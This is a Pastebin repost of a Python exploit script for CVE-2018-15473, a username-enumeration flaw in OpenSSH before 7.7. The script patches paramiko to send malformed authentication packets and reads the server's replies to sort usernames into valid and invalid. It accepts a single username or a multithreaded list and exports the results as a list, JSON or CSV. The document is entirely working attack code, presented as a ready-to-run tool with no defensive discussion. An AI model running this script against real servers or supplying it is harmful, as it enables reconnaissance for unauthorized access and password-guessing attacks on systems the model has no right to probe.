Advertisement
Guest User

acacaca

a guest
Feb 18th, 2019
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.27 KB | None | 0 0
  1. # Exploit: OpenSSH 7.7 - Username Enumeration
  2. # Author: Justin Gardner
  3. # Date: 2018-08-20
  4. # Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz
  5. # Affected Versions: OpenSSH version < 7.7
  6. # CVE: CVE-2018-15473
  7.  
  8. ###########################################################################
  9. # ____ _____ _____ _ _ #
  10. # / __ \ / ____/ ____| | | | #
  11. # | | | |_ __ ___ _ __ | (___| (___ | |__| | #
  12. # | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | #
  13. # | |__| | |_) | __/ | | |____) |___) | | | | #
  14. # \____/| .__/ \___|_| |_|_____/_____/|_| |_| #
  15. # | | Username Enumeration #
  16. # |_| #
  17. # #
  18. ###########################################################################
  19.  
  20. #!/usr/bin/env python
  21.  
  22. import argparse
  23. import logging
  24. import paramiko
  25. import multiprocessing
  26. import socket
  27. import sys
  28. import json
  29. # store function we will overwrite to malform the packet
  30. old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
  31.  
  32. # create custom exception
  33. class BadUsername(Exception):
  34. def __init__(self):
  35. pass
  36.  
  37. # create malicious "add_boolean" function to malform packet
  38. def add_boolean(*args, **kwargs):
  39. pass
  40.  
  41. # create function to call when username was invalid
  42. def call_error(*args, **kwargs):
  43. raise BadUsername()
  44.  
  45. # create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
  46. def malform_packet(*args, **kwargs):
  47. old_add_boolean = paramiko.message.Message.add_boolean
  48. paramiko.message.Message.add_boolean = add_boolean
  49. result = old_parse_service_accept(*args, **kwargs)
  50. #return old add_boolean function so start_client will work again
  51. paramiko.message.Message.add_boolean = old_add_boolean
  52. return result
  53.  
  54. # create function to perform authentication with malformed packet and desired username
  55. def checkUsername(username, tried=0):
  56. sock = socket.socket()
  57. sock.connect((args.hostname, args.port))
  58. # instantiate transport
  59. transport = paramiko.transport.Transport(sock)
  60. try:
  61. transport.start_client()
  62. except paramiko.ssh_exception.SSHException:
  63. # server was likely flooded, retry up to 3 times
  64. transport.close()
  65. if tried < 4:
  66. tried += 1
  67. return checkUsername(username, tried)
  68. else:
  69. print '[-] Failed to negotiate SSH transport'
  70. try:
  71. transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
  72. except BadUsername:
  73. return (username, False)
  74. except paramiko.ssh_exception.AuthenticationException:
  75. return (username, True)
  76. #Successful auth(?)
  77. raise Exception("There was an error. Is this the correct version of OpenSSH?")
  78.  
  79. def exportJSON(results):
  80. data = {"Valid":[], "Invalid":[]}
  81. for result in results:
  82. if result[1] and result[0] not in data['Valid']:
  83. data['Valid'].append(result[0])
  84. elif not result[1] and result[0] not in data['Invalid']:
  85. data['Invalid'].append(result[0])
  86. return json.dumps(data)
  87.  
  88. def exportCSV(results):
  89. final = "Username, Valid\n"
  90. for result in results:
  91. final += result[0]+", "+str(result[1])+"\n"
  92. return final
  93.  
  94. def exportList(results):
  95. final = ""
  96. for result in results:
  97. if result[1]:
  98. final+=result[0]+" is a valid user!\n"
  99. else:
  100. final+=result[0]+" is not a valid user!\n"
  101. return final
  102.  
  103. # assign functions to respective handlers
  104. paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
  105. paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
  106.  
  107. # get rid of paramiko logging
  108. logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
  109.  
  110. arg_parser = argparse.ArgumentParser()
  111. arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
  112. arg_parser.add_argument('--port', type=int, default=22, help="The target port")
  113. arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
  114. arg_parser.add_argument('--outputFile', type=str, help="The output file location")
  115. arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
  116. group = arg_parser.add_mutually_exclusive_group(required=True)
  117. group.add_argument('--username', type=str, help="The single username to validate")
  118. group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
  119. args = arg_parser.parse_args()
  120.  
  121. sock = socket.socket()
  122. try:
  123. sock.connect((args.hostname, args.port))
  124. sock.close()
  125. except socket.error:
  126. print '[-] Connecting to host failed. Please check the specified host and port.'
  127. sys.exit(1)
  128.  
  129. if args.username: #single username passed in
  130. result = checkUsername(args.username)
  131. if result[1]:
  132. print result[0]+" is a valid user!"
  133. else:
  134. print result[0]+" is not a valid user!"
  135. elif args.userList: #username list passed in
  136. try:
  137. f = open(args.userList)
  138. except IOError:
  139. print "[-] File doesn't exist or is unreadable."
  140. sys.exit(3)
  141. usernames = map(str.strip, f.readlines())
  142. f.close()
  143. # map usernames to their respective threads
  144. pool = multiprocessing.Pool(args.threads)
  145. results = pool.map(checkUsername, usernames)
  146. try:
  147. outputFile = open(args.outputFile, "w")
  148. except IOError:
  149. print "[-] Cannot write to outputFile."
  150. sys.exit(5)
  151. if args.outputFormat=='list':
  152. outputFile.writelines(exportList(results))
  153. print "[+] Results successfully written to " + args.outputFile + " in List form."
  154. elif args.outputFormat=='json':
  155. outputFile.writelines(exportJSON(results))
  156. print "[+] Results successfully written to " + args.outputFile + " in JSON form."
  157. elif args.outputFormat=='csv':
  158. outputFile.writelines(exportCSV(results))
  159. print "[+] Results successfully written to " + args.outputFile + " in CSV form."
  160. else:
  161. print "".join(results)
  162. outputFile.close()
  163. else: # no usernames passed in
  164. print "[-] No usernames provided to check"
  165. sys.exit(4)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement